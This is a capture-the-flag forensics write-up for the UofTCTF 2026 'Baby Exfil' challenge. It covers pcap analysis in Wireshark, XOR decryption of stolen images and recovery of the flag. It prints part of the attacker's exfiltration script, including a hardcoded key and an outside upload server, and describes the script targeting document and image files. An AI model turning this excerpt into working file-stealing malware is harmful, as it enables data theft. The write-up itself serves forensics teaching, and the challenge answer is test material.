UofTCTF 2026 - Baby Exfil

Overview

Baby Exfil is a forensics challenge where we analyze a packet capture (.pcap) file containing suspicious network traffic. The goal is to determine what actions the attacker took and retrieve any exfiltrated data.

Initial Reconnaissance

Opening the PCAP in Wireshark, I filtered for HTTP traffic to look for cleartext commands or file transfers:

http.request.method == "GET" || http.request.method == "POST"

I noticed a suspicious GET request for a Python file named /JdRlPr1.py hosted on port 8000. Following the HTTP stream revealed the attacker’s source code.

Analyzing the Malware

The recovered script (JdRlPr1.py) contained the logic for the attack:

1
import os
2
import requests
3

4
key = "G0G0Squ1d3Ncrypt10n"
5
server = "http://34.134.77.90:8080/upload"
6

7
def xor_file(data, key):
8
    result = bytearray()
9
    for i in range(len(data)):
10
        result.append(data[i] ^ ord(key[i % len(key)]))
11
    return bytes(result)
12

13
# ... [File walking logic targeting .docx, .png, .jpeg, .jpg] ...
14
# ... [Hex encoding and POST request] ...

Key Findings

[!IMPORTANT] The malware uses a simple XOR cipher with a hardcoded key - this makes decryption trivial since XOR is symmetric!

Extracting the Exfiltrated Data

Filtering for traffic sent to the attacker’s server:

http.request.method == "POST" && ip.dst == 34.134.77.90

I found 5 distinct POST requests. Each request body contained a file parameter with a large hexadecimal string and a filename:

1. 3G2BHzj.jpg
2. [File2].jpg
3. [File3].jpg
4. [File4].jpg
5. [File5].jpg

Decryption & Recovery

Since XOR is a symmetric operation (A ⊕ K ⊕ K = A), I wrote a script to reverse the process:

1
flowchart LR
2
    A[Hex String] --> B[Bytes]
3
    B --> C[XOR with Key]
4
    C --> D[Original File]

Decryption Script

1
import sys
2

3
def decrypt_file(hex_data, output_filename):
4
    key = "G0G0Squ1d3Ncrypt10n"
5

6
    # Convert Hex to Bytes
7
    try:
8
        encrypted_bytes = bytes.fromhex(hex_data)
9
    except ValueError:
10
        print(f"[-] Error parsing hex for {output_filename}")
11
        return
12

13
    # XOR Decryption
14
    key_bytes = key.encode('utf-8')
15
    decrypted_data = bytearray()
16

17
    for i in range(len(encrypted_bytes)):
18
        decrypted_data.append(encrypted_bytes[i] ^ key_bytes[i % len(key_bytes)])
19

20
    # Write to file
21
    with open(output_filename, "wb") as f:
22
        f.write(decrypted_data)
23
    print(f"[+] Recovered {output_filename}")
24

25
# Run for all 5 hex blobs extracted from Wireshark
26
decrypt_file(hex_blob_1, "recovered_1.jpg")
27
decrypt_file(hex_blob_2, "recovered_2.jpg")
28
decrypt_file(hex_blob_3, "recovered_3.jpg")
29
decrypt_file(hex_blob_4, "recovered_4.jpg")
30
decrypt_file(hex_blob_5, "recovered_5.jpg")

Finding the Flag

After running the script, I successfully recovered 5 files. Opening them one by one, I found the flag inside one of the recovered images (which verified correctly with the JPEG Magic Bytes FF D8 FF).

The recovered image with the flag embedded: uoftctf{b4by_w1r3sh4rk_an4lys1s}

[!TIP] How to verify file recovery: Check the magic bytes at the start of each file!

• JPEG: FF D8 FF

Summary

Conclusion

This challenge demonstrated a classic data exfiltration scenario:

• 📡 Network capture analysis with Wireshark
• 🔍 Malware reverse engineering to understand the encryption
• 🔓 XOR decryption to recover stolen files

The key insight was recognizing that the attacker used a weak, symmetric XOR cipher with a hardcoded key, making the entire encryption scheme trivially reversible.

Flag: uoftctf{b4by_w1r3sh4rk_an4lys1s}